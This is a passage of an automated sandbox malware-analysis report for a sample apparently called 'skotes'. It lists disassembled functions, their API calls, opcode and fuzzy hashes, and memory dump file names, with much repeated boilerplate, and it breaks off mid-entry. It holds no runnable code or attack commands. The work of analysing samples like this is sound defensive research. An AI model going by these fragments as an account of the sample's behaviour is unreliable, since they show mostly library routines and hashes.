Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8a0b65c21c77520a7693ac1db808c3aac225eff3df16bc97ac697d94448c5d0c
Instruction ID: 5a971bba547cd53fe6037284ae7831a85e2465b95f7fe1e6814881c46a1b9bfd
Opcode Fuzzy Hash: 8a0b65c21c77520a7693ac1db808c3aac225eff3df16bc97ac697d94448c5d0c
Instruction Fuzzy Hash: 35510970E012249BDB14EF68DD457DDB7749B45314F9042AEE814A72C1EF385EC48B59

Function 0045B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,C2D46612,?,?,0043D3FC,C2D46612,?,00437A8B,?,?,?,?,?,?,00427465,?), ref: 0045B07D

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34a1fe47c7c4f4f27e9005533c3fecd3a56072a925406421ddcc3287c27533aa
Instruction ID: 4ac3f475609e40c3aa3e8323230c215468842456cbe42b6e94f965b0ec60acb4
Opcode Fuzzy Hash: 34a1fe47c7c4f4f27e9005533c3fecd3a56072a925406421ddcc3287c27533aa
Instruction Fuzzy Hash: 52E0E53114121596EF3136369C00B5F6648CB41BA2F150227FD64A22D3DF18DC0881ED

Function 04A0034E Relevance: 1.4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

kZXZ, xrefs: 04A00360

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID: kZXZ
API String ID: 0-1435790286
Opcode ID: dc7b083eda9c02d1ab0241911e684c7ea4f7790d67e425e02735475713248603
Instruction ID: 091f81c77668ecc38352c446f7f424e1a17f11f16e9f0d8c29c085c4f5cbd9e0
Opcode Fuzzy Hash: dc7b083eda9c02d1ab0241911e684c7ea4f7790d67e425e02735475713248603
Instruction Fuzzy Hash: 4D21D5FA20C214BFB20289527A55BFB7B3CD6C6B30730C41AF807C5092F2956A8A6177

Function 04A004C8 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

uPRP, xrefs: 04A004D7

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID: uPRP
API String ID: 0-4076850976
Opcode ID: 3f4eedae4ddfafb5702306aae9251091ecf6fdda86d86ae3f0f26b38caad4627
Instruction ID: e181880b00407890d6b4e2396fbf34c08ce5b754eef0cd97129cb42f3bf8352e
Opcode Fuzzy Hash: 3f4eedae4ddfafb5702306aae9251091ecf6fdda86d86ae3f0f26b38caad4627
Instruction Fuzzy Hash: 21F09EB520D215BF23015DB1B9497FF3A39E9C7770731C519F447890A1F640AC86A1EA

Function 00436C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00436CF5

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7951b2f003fe47801a45d51a4c85122ae593e14080908d173ab713b6fa7053c4
Instruction ID: 40c931a89b6220c689ea4e8a3fe08f03242e82fb6ea95b35790a51b6c3eb67e7
Opcode Fuzzy Hash: 7951b2f003fe47801a45d51a4c85122ae593e14080908d173ab713b6fa7053c4
Instruction Fuzzy Hash: 40F0F471A00614ABC711BB6ADD03B1E7B74EB0AB74F90075EE821772D1EB781A0047DB

Function 04A002CB Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e5cbe725cdc19b2707f5ed464272d44a15657ffc8bdac5e08a353a9cbb38f0
Instruction ID: ede36840445e419af3a0b030b2a69d5dd6206385a292ea131f906ab3b1d3e256
Opcode Fuzzy Hash: 60e5cbe725cdc19b2707f5ed464272d44a15657ffc8bdac5e08a353a9cbb38f0
Instruction Fuzzy Hash: 72213DFB20C124BE720285427F55BFB673DD5C6730731C42AF807C5092E2956A997536

Function 04A00341 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 470095ee83f9852bccaae61813c8259108668a70d9cb767f39b93d1e492ad93a
Instruction ID: 23313dd3ec6693b5cf0b0f423b30a76581eb65e5919c7557ebb3340758dfe95f
Opcode Fuzzy Hash: 470095ee83f9852bccaae61813c8259108668a70d9cb767f39b93d1e492ad93a
Instruction Fuzzy Hash: 9E21A2FB20C124BE720285423B61BFB2B3CD5CA730731C427F807C5192E2855A8D7136

Function 04A00392 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4836c36db6f9d6b1217d1bc4d1368ca15f46c83144421d62bcbe7db6dbb0b754
Instruction ID: 20cbfdda619316cc35778572a270c4a131fb2f252e67a37faf3a952a4e24994b
Opcode Fuzzy Hash: 4836c36db6f9d6b1217d1bc4d1368ca15f46c83144421d62bcbe7db6dbb0b754
Instruction Fuzzy Hash: 3221C3F720C224BE720289427B54BFB6B3CE6C6730730C41BF80BC5092E2956E897136

Function 04A00311 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14dbe7190ad5086addbf1acc446ba453449cea7374a8f0584ad48eb59bb934cc
Instruction ID: daec9312a2ded1f671b4b71ea82c1f415daf208e114f8a33237df2ce2bd80fdd
Opcode Fuzzy Hash: 14dbe7190ad5086addbf1acc446ba453449cea7374a8f0584ad48eb59bb934cc
Instruction Fuzzy Hash: 292193F720C224BE720289823F54BFB2B3CE5C6730730C52AF807D5192E6955A997176

Function 04A0036F Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 687ec1e58d186739786ec27d11bd4600e93b917374c90296761e9a7fbca40654
Instruction ID: 6176ee0d2dadcba9b5a6131c61a34b33e9d3bf53ca538771898600318757fb06
Opcode Fuzzy Hash: 687ec1e58d186739786ec27d11bd4600e93b917374c90296761e9a7fbca40654
Instruction Fuzzy Hash: 1F1190FB20D224BE720295823B55BFB6B3CD5C6730730C42AF807D4192F6855E997136

Function 04A0037B Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d466cc9f1001fd1f76b008138cf9fea36cd1f636c8ab5217989c2ce66e8862
Instruction ID: a3211cf332be2c949b4df1e6da22b577bd0dd625a3d73b0c643b2b18ec20e5ac
Opcode Fuzzy Hash: 62d466cc9f1001fd1f76b008138cf9fea36cd1f636c8ab5217989c2ce66e8862
Instruction Fuzzy Hash: 20118EFB20D218BE720295823B64BFB2B3CD5C6730731C526F807D5092E6955E8A7136

Function 04A003A7 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f67ebb9527bece483dd5b4355a2498b491525942361e6827b0d09238e63642e
Instruction ID: 7c8fa1c9d67cf1b1be9d5f11738e8396b024b5f696d7701f860ccd9ba8716969
Opcode Fuzzy Hash: 2f67ebb9527bece483dd5b4355a2498b491525942361e6827b0d09238e63642e
Instruction Fuzzy Hash: BE21D5B721D214BEB30295513E51BFB6B3CE9C7730734C46AF806C5593E2865A8A7136

Function 04A00488 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a3444972bcd5d555d9c1a900069051d05b52aa8e29316adea99e788cccf412
Instruction ID: 2b6e2422dfccd36da418f0c37fe4b3db37e1284dbc7bd6744d45445d9763a8ac
Opcode Fuzzy Hash: 57a3444972bcd5d555d9c1a900069051d05b52aa8e29316adea99e788cccf412
Instruction Fuzzy Hash: 15112CB620D2047F7302DA517E54AFB3B3CEAC7330330C41AF442D9052E2915D4A6275

Function 04A003EA Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a83f69c9499a1c366837318d2aead560b18f9e1fe481ae6f1e265934a8abe74
Instruction ID: 1a3a3b1908f30a4f8c466a64740d5022ca9f4ea9de5ec5eaf282d3066d7b24db
Opcode Fuzzy Hash: 5a83f69c9499a1c366837318d2aead560b18f9e1fe481ae6f1e265934a8abe74
Instruction Fuzzy Hash: A201A5B720C118BE730199517A60BFE2B3CD5C6770730C42AF806C5092E6851E4E6139

Function 04A0041F Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a06485756dfdc9030568244cf6111e20452f5ede614d1205f859b26fd6d5db1
Instruction ID: bad31e43dc8a41501019819ae71c865ec8d7b5f3ed5efa85767d531bd48514b4
Opcode Fuzzy Hash: 8a06485756dfdc9030568244cf6111e20452f5ede614d1205f859b26fd6d5db1
Instruction Fuzzy Hash: 0D019EBA20D214BE73029A817F14AFB7B3CE9CA730330C41AF846D4052E6950E99A276

Function 04A0040E Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfacb3a1e3cc532c563a28babaeb6333476cbd9c0f58e0edce6c73bf83e564f0
Instruction ID: 6848cbfb1524c1d0afecc0b35e70ef9c3850a1c01a61ccb4e723c49884bfb116
Opcode Fuzzy Hash: cfacb3a1e3cc532c563a28babaeb6333476cbd9c0f58e0edce6c73bf83e564f0
Instruction Fuzzy Hash: 7E0171BB20D114BD320196913A54BFB273CE5C6770731C116F807C4092A6955E897536

Function 04A00401 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b4247728e001f0a0227127740445b639ff1c976b9444b5baffb96c18a2802d
Instruction ID: 7eab5653a14e67d76206f97a6554b3ff6fa2b12402bf7ffa62bf76195aef9912
Opcode Fuzzy Hash: 37b4247728e001f0a0227127740445b639ff1c976b9444b5baffb96c18a2802d
Instruction Fuzzy Hash: ABF089B720D114FE770199917A50BFE3738E5C9330731C416F40BC5061E6515D85B67A

Function 04A0046F Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c8c25214471eaa0a79febbade69f3efb8659ef3ca8c81ec5ff42c832977c13
Instruction ID: 842ca7c158ef460bfb0b1a7e42660488add2c7c55a35de3be53ddc4996253e84
Opcode Fuzzy Hash: 72c8c25214471eaa0a79febbade69f3efb8659ef3ca8c81ec5ff42c832977c13
Instruction Fuzzy Hash: FFF0E9B210D614BFA30199513A957FE7B38E99E330734C01AF44A8E171EA415E89A66A

Function 04A00454 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3727919896.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4a00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25adea75b579cd781022ed55677072ef4e6175219dae0209c0aa9e1ca2601d9e
Instruction ID: 43e08c778edb1da0483a0c36ebd56aa22be695b28b2483d1e19552e646a2e3f0
Opcode Fuzzy Hash: 25adea75b579cd781022ed55677072ef4e6175219dae0209c0aa9e1ca2601d9e
Instruction Fuzzy Hash: 0FF0F6B720C204FF63018A807991AFA3738EACA330730C00AF4078A060E6605955A625

Non-executed Functions

Function 004631A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00463323

Strings

1#INF, xrefs: 004644DE
1#QNAN, xrefs: 004644C1
1#IND, xrefs: 004644B3
1#SNAN, xrefs: 004644BA

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 488d07f3494109a65842e38e724a4a143f90c90a50ab78c12d4323bc8821eae7
Instruction ID: ea10e3a32f3e98cfdadae958587e9ef0f199dd7b8ab21c4043abf4ae1ab59833
Opcode Fuzzy Hash: 488d07f3494109a65842e38e724a4a143f90c90a50ab78c12d4323bc8821eae7
Instruction Fuzzy Hash: 9DC23871E046688FCF25CE28DD407EAB3B5EB89305F1441EBD80DA7240E779AE858F46

Function 00462D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 5dcacf1ca5f725330ea77fda4cacc6d0d642e7bc68b3793e22f568ba54fbacc9
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: DBF16E71E002199FDF14CFA8C9806AEB7B1FF49314F25826ED815AB344E735AE05CB95

Function 0043CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0043CF52,?,?,?,?,0043CF87,?,?,?,?,?,?,0043C4FD,?,00000001), ref: 0043CC03

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: b4db5aba90c78fda1c08f9d7ffad60fd1724ae271fa20b99d4e5c029f275291e
Instruction ID: 6edfda421b8fbdbb7d42c9040f71f155fc60407f2cd2ab26ade99e4ee829ccff
Opcode Fuzzy Hash: b4db5aba90c78fda1c08f9d7ffad60fd1724ae271fa20b99d4e5c029f275291e
Instruction Fuzzy Hash: 88D02232542138D7CA013B84EC008EEBB888E08B18B006132EA0D33220CE10AC404BDD

Function 00457F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 004580B2

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 2cbb9317d164bceb2ad2fa5975173e22fa72f93a8af8120ac2a0332b8f4d1145
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 065158722086085ADB389A2898957BF679A5B11706F14052FEC82F73C3CE1D9D4E835E

Function 00424DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4248a9926c5e9d9799f6153e26b7b1df534a9b96f94605efcf87927c435ca5
Instruction ID: 24435a5e1208759271fe642dfba8c6a1edb2f09fe6292323e40d29bb6c0681e7
Opcode Fuzzy Hash: 6f4248a9926c5e9d9799f6153e26b7b1df534a9b96f94605efcf87927c435ca5
Instruction Fuzzy Hash: C42261B3F515145BDB0CCB5DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9158648

Function 00467049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

